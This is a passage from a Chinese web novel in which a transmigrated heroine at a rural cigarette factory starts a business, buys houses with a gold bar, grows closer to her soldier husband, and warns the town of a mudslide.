“你现在满心都是顾宁阳,是你爱他。你能想象,如果这一切都是一场空的结果吗?到时候,你的人生能剩下些什么?”杨博才忍不住又缓和了语气,“苓苓,就算真爱存在,也绝对不会在这样的环境中。畸形的土壤,开不出真正的爱情之花。”
“爸爸希望你能找个你喜欢也喜欢你的人,体验结婚生子的平凡之乐,而不是在情感纠葛和撕扯中耗尽美好的一生。”杨博才说完这句话,走出房间,留给杨月苓思考的时间和空间。
一个星期后,溪城卷烟厂宣布了一件大事,市里面要派一个人过来溪城卷烟厂当厂长。
此时在厂里面引起了渲染大波,尤其是卷烟厂的管理层。副厂长郑宏儒和财务部长汪建德频频往市里跑,打听这位新厂长的来头。
书记刘为民和人事部长则是盼着这位上面派下来的新厂长能整顿卷烟厂的风气,让卷烟厂的生产和经营回到正轨。
至于工人们,更多的抱着吃瓜看戏的态度,厂里一直是由副厂长把控的,期间上面不是没派人过来,没过多久就会被副厂长排挤走人。再来一个,顶多再折腾一番。
觅婉婉早已预料即将到来的新厂长是谁,更知道他到溪城卷烟厂做厂长之后,会将溪城卷烟厂建设成世界前沿的大集团。
因此,觅婉婉安心地在家享受周日,准备等下午去山上转转。
没过多久,杨月苓来找觅婉婉,一周不见,杨月苓又恢复了之前光鲜亮丽的大小姐形象。
她往觅婉婉院子中的躺椅上一趟,问她:“觅婉婉,你有喜欢的事吗?”
觅婉婉想了一下,“喜欢做饭,喜欢上山亲近自然,现在工作也挺喜欢的。”
“你喜欢的本小姐都不喜欢,我爸说人生那么长,要找自己喜欢的事情做,可本小姐就喜欢的,是逛街,倒腾自己的美貌,这也能做一辈子吗?”杨月苓数着自己喜欢做的事情,露出犯难的表情。
这是觉醒了?觅婉婉心底暗暗庆幸,幸好是醒了。
正如觅婉婉所料,杨博才不是没有办法让杨月苓清醒,只是不忍心而已。一直以来,杨博才爱女儿的方式就是一切都帮她安排好,保护好她,给她最好的物质生活,营造美好的环境。
甚至在杨月苓因为顾宁阳犯糊
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涂的时候,杨博才都不忍心戳破围绕在杨月苓身边的泡泡,他宁愿自己的宝贝女儿一直活在他营造的美好幻象里,也不愿意让女儿去接触半点人生和人性的残酷。
“当然可以做一辈子,大小姐,你可以开一家服装店,将天下最好看、最时髦的衣服都搜集到你的店里来。你还可以开一家美容院,给像你一样爱美的人做护肤。”觅婉婉一样一样地给她出主意,“这样,你不就可以做一辈子你喜欢的事情了吗?”
杨月苓听了,立马从躺椅上坐起来:“这个主意真好,觅婉婉,你跟我一起做吧。看衣服和护肤我会,其他的我就不会了,开店挣钱了我们一起分,亏钱了算我。”
稳赚不赔的买卖,觅婉婉哪有不答应的,“那选店铺、装修什么的交给我,其他的交给你。”
两个人一拍即合,越说越兴奋。
姚红桃拿着饮料进来的时候,看见的就是杨月苓跟觅婉婉聊得热火朝天的场景。
“杨小姐,你的饮料来了。”姚红桃直接无视觅婉婉,将手中的橙汁递给杨月苓。
杨月苓接过橙汁,先给了觅婉婉一瓶,接着顺手给了姚红桃一瓶。
“大小姐,你听说了吗?那个白霜儿,最近跟阳哥哥吵架吵的很厉害呢。”姚红桃并不喝橙汁,而是跟杨月苓说起了顾宁阳的事情。
她能一直在杨月苓身边做跟班,靠的就是附和杨月苓,关注顾宁阳的一举一动。
可这次,这招不灵了,杨月苓蹙起眉头:“他们吵架,关我什么事,你以后不要把我跟他们扯在一起。”
觅婉婉忍俊不禁,姚红桃吃了个瘪,看见觅婉婉在嘲笑自己,心下不平,“觅婉婉,你堂姐都嫁了革会主任的儿子,你却只嫁了个普通军人,你也不觉得亏。”
实际上,姚红桃对此非常不满,那觅桂兰长得不比自己好看,家世也比自己差,凭什么嫁这么好的人家。
觅婉婉心下一动,装作嫉妒的样子说:“谁说不是呢,她长得还没我好看呢。不过,这嫁得好未必过得好。这不,我堂姐因为嫁得太好,生怕丈夫在外面乱搞,天天都在背后跟踪周哲呢。”
“她真无聊。”杨月苓吐槽道。
姚红桃听到觅桂兰过得不好,她就开心了,“真的?”
“是啊,卷烟厂今天放假,周哲一大早就出门,他刚路过我这不久,我就看见堂姐在她后面跟着呢,看样子是要去城里。”觅婉婉将今天看到的场景特意告诉姚红桃。
“姚红桃,我这里没你什么事了,你忙你自己的去吧。”不知为什么,杨月苓觉得这人今天不会说话,让她心烦,直接下了逐客令。
正好姚红桃想去看觅桂兰的笑话,杨月苓让她离开,她便往县城赶,看看能不能找到觅桂兰,奚落她一番。
实在是自从觅桂兰嫁了周哲以后,眼高于顶,一副谁都看不上的样子。每次碰到姚红桃,明里暗里都是炫耀。
顾忌周家的权势,姚红桃每次都是敢怒不敢言,这次终于有机会出口气,姚红桃几乎是迫不及待去找觅桂兰。
看着姚红桃心急的背影,觅婉婉知道,纸要包不住火了。
23. 豪宅
杨月苓对觅婉婉说的开服装店和美容院上了心,头一次收起大小姐做派,听觅婉婉说了很多的开店事宜,包括去南方的广市可以淘到最新、最物美价廉的款式。
“正好本小姐在这个地方呆腻了,我这就让我爸派人跟我去广市。”杨月苓说干就干,当即说道。
觅婉婉看她是真的想干,干脆写了个项目协议书,里边详细说明了两个人的出资比例,负责的事项等等。
同时把刚刚说的开店注意事项都写好了,她把协议给杨月苓看,“咱们既然要合伙开店,我也该出资。不过我现在本钱不多,只有一千块。”
杨月苓不在意地说:“你弄的这些,本小姐觉得挺值钱的,反正等我的店挣钱了,我给你四成的利润。”
按照前世的说法,觅婉婉这叫技术入股。饶是如此,杨月苓一下给出四成的利润,也是非常大方的。
杨家,杨博才看到觅婉婉写的项目协议书,不由地吃了一惊。再听杨月苓说觅婉婉提出开服装店和美容院的想法之后,立马说出了可行性的方案并且写下来。
“苓苓啊,婉婉这个朋友,值得深交。”杨博才意味深长地对杨月苓说。
杨月苓:“那当然,本小姐的眼光好,看中的人绝对差不了。”
杨博才哭笑不得,当初形势所迫,他和顾大勋几个老家伙商量着把孩子养成这个性子,也不知是错还是对。
不管是错是对,好歹他们几家人平平安安地度过了这些年,这就够了。
这周的休息日谢宴清不在家,觅婉婉干脆去镇上转转看有没有合适的店铺,说不定还能看到一场好戏。
磨盘镇上的人口大约有1.5万人左右,大多在附近的工厂上班,购买力是有的。
镇上本是有国营棉纺厂的,生产的衣物质量不错,可惜现在跟大多数的厂子一样,管理混乱,生产的东西良莠不齐。
如今私营经济刚刚放开,镇上除了有家新开的早餐店,算第一个吃螃蟹的,就没有其他自营的店铺了。
觅婉婉记得书中说,磨盘镇未来会成为全国大热的旅游古镇。既如此,镇上中心这两条街的位置最好。
可惜在市场经济不发达的今天,镇上没什么人会把自家一楼出租。觅婉婉把两条街走完了,也没看见有店铺出租的,倒是正好有两户人家卖房。
卖房的是一对兄弟,两人都是机械厂的工程师,卖房是因为被调到外地去做总工程师。
两户都是三层的小楼,且难得的是建造房子的材料用的是红砖,墙面贴了瓷砖,两侧种着梧桐树,奢华又雅致。
房子是豪宅无疑,可买下来也绝对是划算的。心动的觅婉婉进门问了价格,对方报出八千的价格。
镇上其他普通的房子,一套下来大概五六千的价格,这两套确实更贵一些,但是位置和房子质量摆在这,人家倒也没有狮子大开口。
说到底,还是太穷了。
觅婉婉没有沮丧太久,转而去上次碰见觅桂兰的旅馆,期待着看大戏。
远远地,尚未走到旅馆,觅婉婉就看见那边里三层外三层地围了一大堆人。
“叶芳菲,你个不要脸的贱人,勾引别人家老公,你不得好死!”觅桂兰揪住叶芳菲的头发,两个人打成一团。
好不容易挤进人群后,觅婉婉看到的就是两个女人打成一团的样子。而周哲黑着脸站在一边,一脸嫌弃地看着她们两个打,仿佛这件事跟他没关系。
“这不是周哲吗?周主任可是革会的主任,他的儿子怎么在外边搞破鞋呢?”觅婉婉咳了咳嗓子,大声说道。
她的话在人群中引起了渲染大波,毕竟普通人搞破鞋已经够引人注目了,革会主任的儿子搞破鞋,那就更劲爆了!
于是大家的吸引力瞬间从觅桂兰和叶芳菲两个女的身上转移,盯着周哲热烈的讨论起来。
“不会吧,革会主任的儿子带头搞破鞋,那他以后还有什么脸管别人哦~”
“是啊,你们说,他爸是革会主任,这事是不是就过去了,毕竟,谁敢管呐。”
“这可不行,都什么年代了,他周哲是皇子不成,就算是皇子犯法,也跟庶民同罪。”
“就是,革会的主任要是敢包庇他儿子,咱们可一定要去讨个说法!”
如今这个年代,民风淳朴,搞破鞋这种事情,在大家看来是件大事,要从重处罚的。
周哲听着人群中的声音,直觉不妙,才动手将两个女的拉开,暴躁道:“你们两个闹够了没有,还嫌脸丢的不够是吗?!”
说完,一把拉着两个女的离开,叶芳菲和觅桂兰被他拉得一路踉踉跄跄跟着走。
真是个人渣渣,觅婉婉皱眉。
家属大院周家,周显鑫狠狠地打了一巴掌觅桂兰,“你把事情闹大,是想让我们父子俩一起完蛋吗看?!”
觅桂兰的右脸迅速浮起五个手指印,她捂着脸,泪水夺眶而出,“周哲去外边找女人,我为什么不能闹?”
今天她又跟着周哲出去,本来是在镇上找不到方向的。谁知道姚红桃突然出现,对她好一通嘲笑,说她刚结婚,男人就出去找别人,简直是笑话。
心中的猜想成真,觅桂兰如遭雷劈,等冲到旅馆,看到衣衫不整的周哲和叶芳菲时,觅桂兰哪还能控制住自己的情绪,冲上去就跟叶芳菲厮打起来。
见觅桂兰还敢顶嘴,吴翠花来到她身边,打了她的肩膀一下,“你这个死女子,还敢顶嘴嘞。哲哲会去外面找女人,还不是你这个做老婆的没用,拢不住自己男人。”
觅桂兰愣住了,震惊地看看吴翠花,又看看周哲,周哲的脸黑得能滴出墨水来,见她看过来,回了一个充满怨恨的眼神。
“哼。”周显鑫冷哼一声,“你们妇道人家懂什么,头发长见识短。男人在外边风流点算什么,迟早会回家的。最重要的是有事业,有权有势才能保得一家平安顺遂。”
“就是说,”吴翠花附和道,“桂兰,你怎么能这么不懂事呢,哲哲在外边玩玩是小事,你把它闹大了,影响哲哲和他爸的前程,那才是大事呢。”
觅桂兰难以置信地
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看着这一家人,似乎一瞬间看清了这家人的嘴脸,愤懑难平地说:“你们简直是欺人太甚!”
他们全家欺负自己一个,觅桂兰自知难以匹敌,收拾东西去了钱金莲那。
“姑姑,我跟周哲没法过下去了。”一见到姑姑,觅桂兰就丢下这句话嚎啕大哭。
钱金莲被她吓了一跳,忙接她进屋,“怎么回事,你们这才刚结婚一个多月,就过不下去了。”
今天发生的事情,在磨盘镇已经传开了,家属大院却不是人人都得了消息,觅桂兰将今天发生的事情一五一十跟钱金莲说了。
钱金莲听了,立马把觅桂兰往外赶,“你这死丫头,回来干什么,赶紧回周家去。”
“人家说的没错,这事是你做的太过火了,不识大体。再说,你不在周家呆着,怎么生活?”
觅桂兰来不及埋怨姑姑的无情,听到最后的这句话,瞬间哑了火。
是啊,她没有工作,又是孤身一人从千里之外过来投亲的。没有了周家,没有了周哲这个丈夫,她怎么生活呢,难道要回老家去。
觅桂兰苦笑一下,认命地回了周家。父母还等着她嫁了好人家,给家里好处呢,如果她回老家了,觅桂兰不敢想象自己会面对什么。
她回到周家的时候,周家其他人都吃好晚饭睡下了,厨房里什么都没剩下,觅桂兰肚子饿的咕咕叫,想回房间睡觉,却推不开门。
房门从里面被人反锁了。
人们对八卦的好奇心是极其强烈的,第二天上班的时候,觅婉婉就听到卷烟厂的工人都在悄声讨论周哲的事情。
到下午的时候,厂里发布了通告,对周哲进行处分,罚一年的工资,降三级职位。
处理得很快,觅婉婉却知道这处罚对周哲来说,不算什么,没有伤及根本,她需得另想办法,把周哲彻底除了才是。
再过一个星期,黄烟就成熟了,因此二车间的人都在准备收割黄烟叶。
觅婉婉正在田间忙碌,突然一个浑身酒气的男人一骨碌滚进烟田中,压坏了好几颗烟草。
车间主任李利国看见了,怒骂道:“季绍军,你要喝给我滚远点喝,弄坏我的黄烟,你赔得起吗?”
喝醉的男人眼神朦胧地看着李利国,嘴里嘟嘟嚷嚷地,不知在说些什么,不过,显然是没有听懂李利国的话。
李利国也知道跟一个醉鬼讲道理是讲不通的,颇为烦躁又无奈地让人去请季家老太太。
大概过了十来分钟,觅婉婉看见一个佝偻着身子,头发已经全部花白的老人快步走来。
一见到李利国,她就不住地道歉:“对不住啊,对不住你们了。”
她在向所有人道歉,身后跟着的小女孩则对着所有人鞠躬,接着两个人艰难地把季绍军往家里拖。
李利国看不下去,深深叹了口气,一把扛起李利国,帮她们把季绍军扛回家。
季老奶奶身边那个小女孩似乎有点眼熟,觅婉婉回想了一会儿,这不就是当初,在磨盘镇上书店买字典那个小男孩的姐姐吗?
24. 亲吻
“季家的祖孙三人,因为一个季绍军,全变成了可怜人。”在觅婉婉想起见过一面的小姑娘的识货,旁边的白良平感叹道。
觅婉婉想起那天小男孩撕心裂肺的哭声,难得有好奇心向白良平打听别人的事,“平哥,季家是什么情况?”
白良平:“季绍军本来也是二车间的工人,前些年的时候,大家都忙着运动,我们车间本也不像现在这样的。人一旦闲下来,就容易出事。”
人一旦对什么东西上了瘾,其他的便全都顾不得了。季绍军染上了酒瘾,渐渐地不往家里拿钱。
家中老老小小负担重,季绍军的媳妇受不了离家出走,就剩下季奶奶和一儿一女。
后来刘老整顿一二车间,也是给过季绍军机会的,可他整个人已经浸在酒精中出不来了,如今季家就靠季奶奶一个七十多岁的老人撑着。
“这种男人,还不如......”白良平说到最后,没有再说下去。
还不如死了算了,觅婉婉深有同感。
小插曲过去地很快,大家继续投入到工作中。
晚上吃饭的时候,觅婉婉提起今天在镇上看中的房子,“楼下可以用来做店面,楼上住人,改成两层的特色小旅馆也使得。”
“房子是样样都好的,除了贵没毛病。”觅婉婉最后总结。
谢宴清听了,问她:“你真的很喜欢那两套房子。”
觅婉婉点点头:“当然喜欢啊,不过咱们现在还买不起,等我赚钱了......”
不等她说完,谢宴清起身回屋,觅婉婉就等他回来。
谢宴清回来后,递给她一根金条:“这个卖了应该够买一套。”
觅婉婉:“......你们家金子这么多的吗?”
结婚的时候大金镯子和金钗就够让觅婉婉惊讶了,这会儿又蹦出一根金条来。
谢宴清思考了片刻,“大概有个两箱子,我妈一直埋院子里。我过来参军的时候觉得金子没什么用,就没带。我们结婚的时候,我妈托人送来的金镯子和金钗。”
两...两个箱子,觅婉婉已经不敢问是多大的箱子了。“那这根金条怎么来的?”
谢宴清:“我走的时候妹妹偷偷放我包里的。”
被谢宴清的家底震惊过后,觅婉婉心中升起浓浓的疑虑,以谢宴清家中的成分,别说两箱金子了,两粒金沙只怕都会被人洗劫一空,他们一家是怎么保留下来这么多金子的?
总不能是因为谢宴清他妈埋的好吧,那些洗劫的人也不是傻子,地是肯定会挖的,还会挖很多次,掘地三尺。
“现在看来,权势和金钱都是个好东西。没有顾叔叔保护,这些金子就留不下来,我们一家甚至活不下来。还是留下来的好,可以给你买喜欢的房子。”似乎是知道她心中的疑虑,谢宴清解释了一番。
他第一次叫顾大勋叔叔,眼中也没了冷漠和敌意,觅婉婉敏锐地捕捉到了谢宴清对顾大勋态度的变化。
“可是现在这个时间点,卖金子不合适啊。”就算上面有人,也不能明目张胆地以身犯法吧,觅婉婉无奈道。
“或许,”谢宴清试探道:“我们可以托人直接拿金条去换?”
“好主意!”觅婉婉立马赞同,以物换物,没毛病。
这般说定之后,谢宴清第二天早上就去找黑市的祝毅帮忙,让他托人去把觅婉婉看中的房子买下来。
下班之后,谢宴清照旧来接觅婉婉下班,两人骑着自行车往磨盘镇走去。
“谢哥,嫂子,谈妥了,那户人家答应收金条,不过他们说这根金条按照市价,价值在一万左右,买一套房子,多了。”祝毅是亲自去帮忙问的,卖房的人也实诚,两人很快谈妥,问题就出在这了。
多出的钱对方不好折现返回来,直接交换的话,谢宴清这边又亏了。
谢宴清下意识地看向觅婉婉,觅婉婉灵机一动,“祝毅,你跟那边说说,我们买两套,剩下的六千块钱一年后给他成不,我们会立字据的。”
“成,你们稍等,我这就去寻他们。”祝毅答应一声,便往那户人家去了。
“你别再往外拿金子了,风波还未平呢,拿太多金子出来招摇容易出事。”觅婉婉见谢宴清若有所思的样子,赶忙说,生怕他一会儿又拿出金来吓人。
谢宴清点头,“听你的。”
祝毅很快就回来了,“他们答应了。”
双方都是痛快的人,很快就办了房子的过户手续。房本拿到手后,觅婉婉整个人都飘飘然,她现在拥有两栋楼了!
“等风波过去了,我把家里的金子挖出来给你买房。”看她这么高兴,谢宴清认真地对她说。
他的样子把觅婉婉逗笑了,“不要啦,我很快就能挣到钱买房的,你的那些金子,埋在地下挺好的。”
黄金在后世也是不断升值的资产,其在后世的暴涨程度完全不输房产,所以持有黄金还是很有必要的。
“嗯,你会的。”谢宴清又认真地点头。
不知道怎么回事,觅婉婉最近看谢宴清,越看越可爱,尤其是这个时候,简直可爱到爆。
“mua~”
鬼使神差地,觅婉婉在谢宴清的脸上亲了一口,亲完之后,谢宴清僵住了,觅婉婉也僵住了。
“那个,我去把房产证收起来。”觅婉婉找了个借口落荒而逃,跑进房间之后,脸上爆红。
“真是的。”觅婉婉懊恼极了,她应该控制一下的。
亲完之后好几天,觅婉婉都避着人走,她没法面对自己轻薄了一个男人的事实。
三天后,谢宴清执拗地堵在房间门口,“你为什么躲,难道亲的感觉不好?”
“哪有不好。”觅婉婉下意识地否认,否认之后,又感觉哪里不对劲。
没等觅婉婉反应过来,谢宴清已经捧着她的脸,吻了下来。唇瓣辗转之间,谢宴清的舌头灵活地从觅婉婉的唇缝之间钻入,接着在觅婉婉的口中搅动风云,带起阵阵的暴雨。
直到觅婉婉快要窒息的时候,谢宴清才放开她的脸,紧紧地抱住她,“别躲我,给你亲。”
低低的、清冷带着磁性的呢喃在觅婉婉耳边炸开,如果耳朵会怀孕的话,她想她的左耳一定怀上了。
谁能拒绝清冷大佬的依赖呢,最起码觅婉婉不能,于是她纵容着谢宴清吻了一次又一次,两个人迷迷糊糊间进了房间,又倒在了床上......
“呜呜呜~呜呜呜~呜呜呜~”
谢宴清骤然清醒,是军中的紧急号,一般号角这么吹,代表着
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全体军人紧急集合。觅婉婉小脸通红,迷茫地看着他。
谢宴清吻了一下她的额头,温声道:“有紧急任务,等我回来。”
军情紧急,容不得半刻拖延,谢宴清立即赶往部队。
觅婉婉从床上起来,站在地上的时候腿一软,差点跌在地上。
热意消散刚刚消散了一点的脸庞迅速地烧起了,比刚才还红。明明两个人都是新手,怎么谢宴清学习速度这么快,亲了几下就把她亲的腿软,觅婉婉恨自己不争气。
烟叶到了采摘的时候,觅婉婉的工作也就进入了下一阶段,将新鲜采摘的烟叶放入烤房中进行高温烘干。
烘烤后的烟叶颜色由黄绿色变成黄色,已经有了香烟的基本香气和色泽。她开始期待烟草的后续制作过程,看着黄烟从一粒种子到一颗足有半米高的黄烟,再到初具香烟的形象,是个享受的过程。
因此每日在烤房中穿梭,觅婉婉看着一片片的新鲜的烟叶慢慢变形,期待着它的进一步变化,她心中全是欣喜。
自从上次听到军号离开后,谢宴清已经有一个星期没有回家。特种部队执行的都是机密任务,觅婉婉也不着急,只是每日回家的时候总要看看养的鸡在不在。
他们养的鸡已经大了不少,谢宴清在家的时候喜欢放它们去山上找食,顺便锻炼身体。
可惜鸡每日都在笼子里,意味着谢宴清没有回来,觅婉婉每每忍不住有点失望。
夜里,烛火摇曳,觅婉婉在床上熟睡。谢宴清来到床前,轻轻地掀开被子,将她拥入怀中,细密的吻落在觅婉婉的耳边,脸颊,樱唇。
接着,觅婉婉感觉到他的吻慢慢往下,一开始是脖子,后来是锁骨,再后来......
“啊~”
觅婉婉惊叫一声,坐起身来,房间安静空荡,唯有两只蜡烛闲着无聊,烛火不停地摇摆。她捂住自己的脸,觉得自己没法见人了,怎么会做这种梦呢。
都怪谢宴清,他怎么去了这么久还不回来,觅婉婉埋怨他。
有了晚上那个梦,觅婉婉白天更加认真地工作,整个车间,数她烤的烟叶又快又好。
刘为民来车间巡查,恰好看见她烤的烟叶,赞赏道:“婉婉,好样的。”
她只是想转移一下注意力,免得晚上又做些不可描述的梦,没想到意外收获了领导的青眼,谦虚道:“革命尚未成功,仍需努力。”
刘为民更为满意,原本打着照顾一下军属的主意。没想到觅婉婉进来之后,工作样样不含糊,深得他心意,刘为民开始重新思考对觅婉婉的定位。
接下来的几天,磨盘镇一直在下大雨,觅婉婉穿着雨衣,每日穿梭在军属大院和卷烟厂之间。
一日下班时,觅婉婉路过军属大院后面的大河,发现河流异常凶猛。她本不在意,想着是可能是这几天大雨,涨水了罢,这条河的堤坝建得高,暂时没有风险。
可第二天骑车上班的时候,觅婉婉突然听见后山上传出“沙沙”的声音,她下车往山上走了一段,却没有找到声音的来源。
觅婉婉心中有了一个可怕的猜测,她走到一片陡峭的山坡上细细观察,果然看见上面的土地在缓慢地下滑。
她迅速下了山,骑上自行车就往顾大勋家飞奔而去。
25. 值得
“顾叔叔,不好了,出大事了!”自行车刚停下,觅婉婉就在门口大喊。
白霜儿听到声音打着伞出来,看见觅婉婉的样子,忙问:“怎么了?爸去部队了,不在家。”
觅婉婉将自己这两天观察到的情况说了,对白霜儿说:“你快去寻顾叔叔,告诉他马上就会发生泥石流,让他组织山附近的民众转移。”
一开始,白霜儿没懂觅婉婉说的现象代表着什么,等听到泥石流的时候,脸色一变,把伞一扔就往部队跑,“我这就去!”
没人比他们兄妹两更懂泥石流的恐怖,他们当初眼睁睁看着父母被山中的泥石流带走,仅仅只是几秒钟的时间,两个大活人就没了,到现在都没找到尸体。
有了白霜儿去部队通知,觅婉婉急急忙忙踩着车往卷烟厂赶,她必须马上把这个消息告诉刘为民。
溪城卷烟厂建在山坳中,被好几座山包围着,其中就有这座即将爆发泥石流的山。这样的地理位置,若是泥石流一旦爆发,溪城卷烟厂的人一个都活不了。
一路夺命狂奔,觅婉婉以最快的速度赶到了卷烟厂,却没有见到刘为民。
“连日大雨,天气多变,刘老原本就有旧疾,撑到今天终于撑不住了,正在医院住院呢。”彭飞对觅婉婉说。
情况紧急,觅婉婉自然不能再跑到医院去。她直接去了人事那找人事部长曾春海,仔仔细细地将事情说了。
曾春海当机立断:“我这就安排大家转移。”
“轰隆隆~”
雷声传来,外面的雨越下越大,觅婉婉看着乌云密布的天空,心中越来越沉重,同时胸中传来隐隐的闷感。
她深深地呼吸了几口气,才把胸中的那股闷感压下去。
曾春海的转移计划遭到了副厂长郑宏儒和财务部长汪建德的一致反对,“厂里还要生产呢,况且一个十几岁的小丫头说的话,没什么可信度吧。”
周哲也站出来说:“我家是军属大院的,我爱人还是觅婉婉的堂姐。她的底细我很清楚,农村来的普通姑娘,不会懂这个的。”
人命关天,这些人无所谓的态度气得曾春海差点想回家拿枪一个个崩了。
“郑宏儒,你生产个屁的生产,你管的那些个车间什么鸟样你心里最清楚。要不是刘老力挽狂澜,带着一二车间单独干,现在整个卷烟厂都废了。”曾春海不管三七二十一,直接破口大骂。
“你把着卷烟厂十年,把厂子搞废了不说,现在你要敢再耽搁,害了厂里工人家属在内的两百多条人命,老子这就回家崩了你信不信?”
他这一番完全不客气的话把郑宏儒说的脸色难看极了,只是郑宏儒也不是吃素的,“既然你这么积极,那这件事情你就去办吧。至于工人们听不听你的,我就管不着了。”
事态紧急,曾春海犯不着在这个时候跟郑宏儒他们浪费时间争口舌之气。
他回到办公室,找来几个得力的助手,一人一个喇叭四处奔走相告,让工人和家属们转移。
卷烟厂的人听到消息,顿时乱作一团,有慌慌张张逃跑的,也有嗤之以鼻不愿意走的。
山上的动静越来越大,觅婉婉和白良平一起在家属院组织老人和小孩转移。
只是仍旧有些不愿意配合的,关键时刻,刘为民带着部队的人到达。
枪杆子里面出政权,面对刘为民带来的大部队,那些原本不愿意配合的人也不敢吭声了,听话地转移。
觅婉婉松下了一口气,手上不停,跟大家一起在山上搭帐篷。
很快,卷烟厂的人全部都撤了上来,觅婉婉向刘为民询问附近其他的村子如何,得知顾大勋已经带着人去救援了。
山上的洪水裹挟着碎石、树木等,以迅雷不及掩耳之势轰然流下,帐篷内的众人看到这个景象皆是脸色惨白。
“绍军、绍军还在里面。”关键时刻,季老奶奶突然冲出帐篷,往山下卷烟厂的宿舍冲过去。
李利国带着几个人拦住她。“季家奶奶,您这是何必呢?就算你现在去,也来不及了。况且季绍军这些年的所作所为,实在不值得您这样。”
众人纷纷劝说、阻拦季家奶奶,有人悄悄把季萍和季白两姐弟推出来。
“奶奶,您能别去。”季萍泪流满面,哀求地看着奶奶。
季白年纪小些,已经被山上的场景吓得大哭,一边哭一边喊:“奶奶,你别丢下我跟姐姐。”
看到两个孩子,季老奶奶的的动作迟疑了。但马上,她又继续挣脱李利国等人的束缚,“我老婆子求你们了,我儿子在那里,我要去救他。”
对此,众人纷纷表示不赞同。季绍军明显是救不回来了,何必再搭上自己的命,就算是救回来了,一个整日沉迷于酒精的儿子,又有什么救的必要。
季老奶奶望着卷烟厂宿舍的方向,拼尽全力挣扎着、喊叫着,要往那个方向去。
毕竟年纪摆在那里,季老奶奶很快力气用尽、声音嘶哑,眼里的光也渐渐微弱,脸上露出绝望。
“让季老奶奶去吧。”觅婉婉突然对拦住季老奶奶的李利国他们说,这话说的众人皆是一愣。
趁着他们怔愣的机会,季老奶奶迅速挣脱,向山下跑去。
她身形敏捷、健步如飞,完全不像一个七旬老人的样子。只是很快,洪水倾泻而下,淹没了那个执着的身影,也淹没了溪城卷烟厂的厂房和宿舍。
生活工作了几十年的地方就这样没了,大家的心头都浮上一层阴霾,沉甸甸地压在胸口,让人喘不过气。
“无论如何,大家相安无事就是最好的。这次对亏了觅婉婉同志,及时发现泥石流的事情,又第一时间赶来厂里通知大家。”
“否则,溪城卷烟厂还不知有多少伤亡。留得青山在不愁没柴烧,咱们这么多人在,再把溪城卷烟厂建起来就是!”
刘为民见大家心情低落,知道此时最重要的就是提振士气。越是艰难的时候,越是不能松下心中那口气,那口气一散,人也就废了。
果然,听到刘为民的话,不少人的眼中重新亮起光。有人朝觅婉婉投来感激的目光,也有人上前来诚恳地向觅婉婉道谢,觅婉婉一一大方地接受了。
大雨下个不停,众人在帐篷中等雨停,觅婉婉找了个位置坐下,安静地看雨水滴落,噼里啪啦地打在地上。
白良平给觅婉婉端来一碗热水,“刚刚淋了雨,喝点热水不容
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易感冒。”
觅婉婉借过:“谢谢。”
“你为什么让季老奶奶去?”从觅婉婉出来说话开始,白良平就对此感到好奇。
他跟觅婉婉工作相处良久,了解觅婉婉的性情,知道她不是个有坏心思且内心良善的人。
正因为如此,白良平才百思不得其解,觅婉婉为何会眼睁睁看着季老奶奶去送死。
觅婉婉心知很多人对她这个举动不理解,不料白良平却选择直接来问她。
“因为季奶奶想去,作为一个母亲,她想救自己的儿子。即便在全世界看来,她的儿子不值得她救。可是,只要季老奶奶觉得值得,就好了呀。”
真正的爱是没有条件的,就算全世界都觉得季绍军无可救药,也不影响季老奶奶爱他。
觅婉婉知道,如果不让季奶奶去,季奶奶就算活着,也永远不能释怀这件事情。
人最大的幸福,是有选择,她成全季老奶奶的选择,望季奶奶能奔向自己的心愿所在之处。
白良平听了觅婉婉的话,沉默良久,“你说的对。”
快要天黑的时候,雨渐渐小了下来,可泥石流会反复发作,众人一时犯了难,是不知道往何处去的迷茫。
令觅婉婉没有想到的是,新厂长翟良策冒着大雨赶过来主持工作。
“大家有家的先回家去,有亲戚投奔的先去亲戚家安顿下来,没有地方去的就在这里先住着,我会安排好大家的衣食住行。”
翟良策是一个五十多岁的清隽男人,浑身散发着书香气,说出来的话却掷地有声。“我带来了食物、水和被子,最迟明天,我就会做好重建溪城卷烟厂的计划。”
“我来之前,已经得到了市领导的批准,上面会给我们卷烟厂一笔经费,让我们重新把厂子建起来的。”
最后一句话说出来,顿时群情激奋,众人恨不得连夜开干,把厂子给重新建起来。
刘为民看到这个场景,忍不住红了眼眶。多少年了,厂里的工人一盘散沙,领导只顾着争权夺利,几百号人愣是什么事都做不成。
新厂长的到来,让刘为民看到了希望。
翟良策的到来,虽然早了一些,但他的行事作风,觅婉婉早有预料,并且她还知道,翟良策到来后,溪城卷烟厂的改变,才刚刚开始。
赶在天色完全黑下来之前,觅婉婉终于到了家,家中一片漆黑。
这场泥石流虽然没有波及军区家属院,却破坏了周遭的电力设施,如今这一片都没电。
觅婉婉提着一颗心进房间去找蜡烛,拉卡房间书桌上的抽屉,觅婉婉心中一凉,蜡烛刚好用完了。
黑暗中,她的呼吸开始急促。很快,觅婉婉浑身冒冷汗,她抱住自己,蜷缩在床角,不知如何度过这个夜晚。
一些片段在觅婉婉脑海中不断闪过,一开始是季奶奶不顾一切奔向山下的身影,后来,那个身影变成了长发飘飘的年轻女子。
黑暗中视线模糊,隐隐绰绰中,觅婉婉似乎看见一个黑影也在朝女子靠近,而她拼尽全力地喊他们,却怎么也发不出声音。
那种无力感迅速将觅婉婉淹没,她的意识渐渐模糊,脑海中的景象也消失不见。
26. 趣味
睁开眼,四周一片雪白,觅婉婉茫然地四处看,一眼就看见了坐在前面的谢宴清。
他身板笔直,端正地坐在那里,琥珀色的丹凤眼一眨不眨地看着自己。
谢宴清像是好几天没洗漱的样子,下巴冒出密密麻麻的胡子,军装带着污泥,精致的丹凤眼中布满了血丝。
“你终于回来了。”觅婉婉扯出一个虚弱的笑容。
谢宴清低下头,眼睑也垂下去,“对不起,是我不好。”
觅婉婉正在输葡萄糖,她用扎着针的手轻轻拍了拍谢宴清的手,“不是你的问题,你不在的时候,我做了一件大事呢。”
“嗯,”谢宴清抬起头,目光灼灼地看着她:“你救了很多人,很厉害。”
“你这次出任务,是不是也做大事了?”觅婉婉问他。
谢宴清:“嗯,本来昨天下午我就到家了,刚到家就接到命令泥石流爆发,让我们参与抢险救灾。”
发生自然灾害的情况下,军队是必然会参与到抢险救灾的队伍中的,对此觅婉婉并不意外。
“你不好奇我为什么会怕黑怕到进医院吗?”从谢宴清给自己准备蜡起,觅婉婉就知道,他是知道自己的心理问题的。
“这不重要,人生的很多问题,有时候自己都无法给自己答案,何况告诉别人。”谢宴清只是淡淡地说,仿佛在讲述一件无关紧要的事情。
